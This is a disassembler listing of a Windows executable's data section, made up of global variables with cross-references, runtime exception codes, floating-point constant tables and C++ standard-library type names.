off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
		dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
dword_4CBB28	dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
